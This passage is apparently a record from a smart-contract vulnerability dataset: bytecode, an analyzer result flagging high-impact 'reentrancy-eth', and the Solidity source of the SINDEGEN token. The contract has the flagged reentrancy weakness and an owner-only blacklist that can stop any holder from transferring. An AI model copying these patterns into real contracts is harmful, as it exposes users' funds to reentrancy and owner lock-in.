ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611db257611d98826121f4565b60004790506000811115611db057611daf4761211a565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e5c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611f0f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f0e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f1d57600090506120a4565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fc85750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fe057600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561208b5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156120a357600a54600c81905550600b54600d819055505b5b6120b08484848461247a565b50505050565b60008383111582906120fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f59190612e3d565b60405180910390fd5b506000838561210d919061396f565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612182573d6000803e3d6000fd5b5050565b60006006548211156121cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c490613a15565b60405180910390fd5b60006121d76124a7565b90506121ec81846124d290919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561222b5761222a612bcb565b5b6040519080825280602002602001820160405280156122595781602001602082028036833780820191505090505b5090503081600081518110612271576122706132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561231357600080fd5b505afa158015612327573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061234b9190613a4a565b8160018151811061235f5761235e6132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123c630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611666565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161242a959493929190613b70565b600060405180830381600087803b15801561244457600080fd5b505af1158015612458573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806124885761248761251c565b5b61249384848461255f565b806124a1576124a061272a565b5b50505050565b60008060006124b461273e565b915091506124cb81836124d290919063ffffffff16565b9250505090565b600061251483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061279d565b905092915050565b6000600c5414801561253057506000600d54145b1561253a5761255d565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061257187612800565b9550955095509550955095506125cf86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061266485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126b081612910565b6126ba84836129cd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516127179190612f94565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000678ac7230489e800009050612772678ac7230489e800006006546124d290919063ffffffff16565b82101561279057600654678ac7230489e80000935093505050612799565b81819350935050505b9091565b600080831182906127e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127db9190612e3d565b60405180910390fd5b50600083856127f39190613bf9565b9050809150509392505050565b600080600080600080600080600061281d8a600c54600d54612a07565b925092509250600061282d6124a7565b905060008060006128408e878787612a9d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006128aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120b6565b905092915050565b60008082846128c19190613887565b905083811015612906576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fd90613c76565b60405180910390fd5b8091505092915050565b600061291a6124a7565b905060006129318284612b2690919063ffffffff16565b905061298581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129e28260065461286890919063ffffffff16565b6006819055506129fd816007546128b290919063ffffffff16565b6007819055505050565b600080600080612a336064612a25888a612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a5d6064612a4f888b612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a8682612a78858c61286890919063ffffffff16565b61286890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ab68589612b2690919063ffffffff16565b90506000612acd8689612b2690919063ffffffff16565b90506000612ae48789612b2690919063ffffffff16565b90506000612b0d82612aff858761286890919063ffffffff16565b61286890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612b395760009050612b9b565b60008284612b479190613c96565b9050828482612b569190613bf9565b14612b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8d90613d62565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612c0382612bba565b810181811067ffffffffffffffff82111715612c2257612c21612bcb565b5b80604052505050565b6000612c35612ba1565b9050612c418282612bfa565b919050565b600067ffffffffffffffff821115612c6157612c60612bcb565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ca282612c77565b9050919050565b612cb281612c97565b8114612cbd57600080fd5b50565b600081359050612ccf81612ca9565b92915050565b6000612ce8612ce384612c46565b612c2b565b90508083825260208201905060208402830185811115612d0b57612d0a612c72565b5b835b81811015612d345780612d208882612cc0565b845260208401935050602081019050612d0d565b5050509392505050565b600082601f830112612d5357612d52612bb5565b5b8135612d63848260208601612cd5565b91505092915050565b600060208284031215612d8257612d81612bab565b5b600082013567ffffffffffffffff811115612da057612d9f612bb0565b5b612dac84828501612d3e565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612def578082015181840152602081019050612dd4565b83811115612dfe576000848401525b50505050565b6000612e0f82612db5565b612e198185612dc0565b9350612e29818560208601612dd1565b612e3281612bba565b840191505092915050565b60006020820190508181036000830152612e578184612e04565b905092915050565b6000819050919050565b612e7281612e5f565b8114612e7d57600080fd5b50565b600081359050612e8f81612e69565b92915050565b60008060408385031215612eac57612eab612bab565b5b6000612eba85828601612cc0565b9250506020612ecb85828601612e80565b9150509250929050565b60008115159050919050565b612eea81612ed5565b82525050565b6000602082019050612f056000830184612ee1565b92915050565b6000819050919050565b6000612f30612f2b612f2684612c77565b612f0b565b612c77565b9050919050565b6000612f4282612f15565b9050919050565b6000612f5482612f37565b9050919050565b612f6481612f49565b82525050565b6000602082019050612f7f6000830184612f5b565b92915050565b612f8e81612e5f565b82525050565b6000602082019050612fa96000830184612f85565b92915050565b600080600060608486031215612fc857612fc7612bab565b5b6000612fd686828701612cc0565b9350506020612fe786828701612cc0565b9250506040612ff886828701612e80565b9150509250925092565b600060ff82169050919050565b61301881613002565b82525050565b6000602082019050613033600083018461300f565b92915050565b61304281612c97565b82525050565b600060208201905061305d6000830184613039565b92915050565b60006020828403121561307957613078612bab565b5b600061308784828501612cc0565b91505092915050565b61309981612ed5565b81146130a457600080fd5b50565b6000813590506130b681613090565b92915050565b6000602082840312156130d2576130d1612bab565b5b60006130e0848285016130a7565b91505092915050565b6000602082840312156130ff576130fe612bab565b5b600061310d84828501612e80565b91505092915050565b600080600080608085870312156131305761312f612bab565b5b600061313e87828801612e80565b945050602061314f87828801612e80565b935050604061316087828801612e80565b925050606061317187828801612e80565b91505092959194509250565b600080fd5b60008083601f84011261319857613197612bb5565b5b8235905067ffffffffffffffff8111156131b5576131b461317d565b5b6020830191508360208202830111156131d1576131d0612c72565b5b9250929050565b6000806000604084860312156131f1576131f0612bab565b5b600084013567ffffffffffffffff81111561320f5761320e612bb0565b5b61321b86828701613182565b9350935050602061322e868287016130a7565b9150509250925092565b6000806040838503121561324f5761324e612bab565b5b600061325d85828601612cc0565b925050602061326e85828601612cc0565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006132ae602083612dc0565b91506132b982613278565b602082019050919050565b600060208201905081810360008301526132dd816132a1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061334d82612e5f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133805761337f613313565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133e7602683612dc0565b91506133f28261338b565b604082019050919050565b60006020820190508181036000830152613416816133da565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613479602483612dc0565b91506134848261341d565b604082019050919050565b600060208201905081810360008301526134a88161346c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061350b602283612dc0565b9150613516826134af565b604082019050919050565b6000602082019050818103600083015261353a816134fe565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061359d602583612dc0565b91506135a882613541565b604082019050919050565b600060208201905081810360008301526135cc81613590565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061362f602383612dc0565b915061363a826135d3565b604082019050919050565b6000602082019050818103600083015261365e81613622565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136c1602983612dc0565b91506136cc82613665565b604082019050919050565b600060208201905081810360008301526136f0816136b4565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613753603f83612dc0565b915061375e826136f7565b604082019050919050565b6000602082019050818103600083015261378281613746565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006137bf601c83612dc0565b91506137ca82613789565b602082019050919050565b600060208201905081810360008301526137ee816137b2565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613851602383612dc0565b915061385c826137f5565b604082019050919050565b6000602082019050818103600083015261388081613844565b9050919050565b600061389282612e5f565b915061389d83612e5f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138d2576138d1613313565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613939602383612dc0565b9150613944826138dd565b604082019050919050565b600060208201905081810360008301526139688161392c565b9050919050565b600061397a82612e5f565b915061398583612e5f565b92508282101561399857613997613313565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006139ff602a83612dc0565b9150613a0a826139a3565b604082019050919050565b60006020820190508181036000830152613a2e816139f2565b9050919050565b600081519050613a4481612ca9565b92915050565b600060208284031215613a6057613a5f612bab565b5b6000613a6e84828501613a35565b91505092915050565b6000819050919050565b6000613a9c613a97613a9284613a77565b612f0b565b612e5f565b9050919050565b613aac81613a81565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613ae781612c97565b82525050565b6000613af98383613ade565b60208301905092915050565b6000602082019050919050565b6000613b1d82613ab2565b613b278185613abd565b9350613b3283613ace565b8060005b83811015613b63578151613b4a8882613aed565b9750613b5583613b05565b925050600181019050613b36565b5085935050505092915050565b600060a082019050613b856000830188612f85565b613b926020830187613aa3565b8181036040830152613ba48186613b12565b9050613bb36060830185613039565b613bc06080830184612f85565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613c0482612e5f565b9150613c0f83612e5f565b925082613c1f57613c1e613bca565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613c60601b83612dc0565b9150613c6b82613c2a565b602082019050919050565b60006020820190508181036000830152613c8f81613c53565b9050919050565b6000613ca182612e5f565b9150613cac83612e5f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ce557613ce4613313565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613d4c602183612dc0565b9150613d5782613cf0565b604082019050919050565b60006020820190508181036000830152613d7b81613d3f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122094f5f97bd020574632c417933bce248ccc917b50a99b126a656b0c83ff8fcb6c64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 7,816 |
0xfa040049b2350ff3533f3b5af34aeae871f66706
|
// SPDX-License-Identifier: UNLICENSED
/*
:::::::: ::::::::::: :::: ::: ::::::::: :::::::::: :::::::: :::::::::: :::: :::
:+: :+: :+: :+:+: :+: :+: :+: :+: :+: :+: :+: :+:+: :+:
+:+ +:+ :+:+:+ +:+ +:+ +:+ +:+ +:+ +:+ :+:+:+ +:+
+#++:++#++ +#+ +#+ +:+ +#+ +#+ +:+ +#++:++# :#: +#++:++# +#+ +:+ +#+
+#+ +#+ +#+ +#+#+# +#+ +#+ +#+ +#+ +#+# +#+ +#+ +#+#+#
#+# #+# #+# #+# #+#+# #+# #+# #+# #+# #+# #+# #+# #+#+#
######## ########### ### #### ######### ########## ######## ########## ### ####
*/
//https://t.me/sindegen
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SINDEGEN is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Sindegen";
string private constant _symbol = "SINDEGEN";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0xdc48C6B27FA622298F7Afb48a2831f99A8b6D5E2);
_buyTax = 11;
_sellTax = 11;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint burnAmount = contractTokenBalance.mul(4).div(11);
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 200_000_000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 200_000_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 11) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 11) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610348578063c3c8cd8014610368578063c9567bf91461037d578063dbe8272c14610392578063dc1052e2146103b2578063dd62ed3e146103d257600080fd5b8063715018a6146102a55780638da5cb5b146102ba57806395d89b41146102e25780639e78fb4f14610313578063a9059cbb1461032857600080fd5b806323b872dd116100f257806323b872dd14610214578063273123b714610234578063313ce567146102545780636fc3eaec1461027057806370a082311461028557600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b31461019f57806318160ddd146101cf5780631bbae6e0146101f457600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a6101553660046118d0565b610418565b005b34801561016857600080fd5b5060408051808201909152600881526729b4b73232b3b2b760c11b60208201525b6040516101969190611951565b60405180910390f35b3480156101ab57600080fd5b506101bf6101ba3660046117d8565b610469565b6040519015158152602001610196565b3480156101db57600080fd5b50678ac7230489e800005b604051908152602001610196565b34801561020057600080fd5b5061015a61020f36600461190a565b610480565b34801561022057600080fd5b506101bf61022f366004611797565b6104c3565b34801561024057600080fd5b5061015a61024f366004611724565b61052c565b34801561026057600080fd5b5060405160098152602001610196565b34801561027c57600080fd5b5061015a610577565b34801561029157600080fd5b506101e66102a0366004611724565b6105ab565b3480156102b157600080fd5b5061015a6105cd565b3480156102c657600080fd5b506000546040516001600160a01b039091168152602001610196565b3480156102ee57600080fd5b5060408051808201909152600881526729a4a72222a3a2a760c11b6020820152610189565b34801561031f57600080fd5b5061015a610641565b34801561033457600080fd5b506101bf6103433660046117d8565b610880565b34801561035457600080fd5b5061015a610363366004611804565b61088d565b34801561037457600080fd5b5061015a610923565b34801561038957600080fd5b5061015a610963565b34801561039e57600080fd5b5061015a6103ad36600461190a565b610b2a565b3480156103be57600080fd5b5061015a6103cd36600461190a565b610b62565b3480156103de57600080fd5b506101e66103ed36600461175e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b0316331461044b5760405162461bcd60e51b8152600401610442906119a6565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610476338484610b9a565b5060015b92915050565b6000546001600160a01b031633146104aa5760405162461bcd60e51b8152600401610442906119a6565b6702c68af0bb1400008111156104c05760108190555b50565b60006104d0848484610cbe565b610522843361051d85604051806060016040528060288152602001611b3d602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ffe565b610b9a565b5060019392505050565b6000546001600160a01b031633146105565760405162461bcd60e51b8152600401610442906119a6565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105a15760405162461bcd60e51b8152600401610442906119a6565b476104c081611038565b6001600160a01b03811660009081526002602052604081205461047a90611072565b6000546001600160a01b031633146105f75760405162461bcd60e51b8152600401610442906119a6565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066b5760405162461bcd60e51b8152600401610442906119a6565b600f54600160a01b900460ff16156106c55760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610442565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072557600080fd5b505afa158015610739573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075d9190611741565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a557600080fd5b505afa1580156107b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107dd9190611741565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082557600080fd5b505af1158015610839573d6000803e3d6000fd5b505050506040513d601f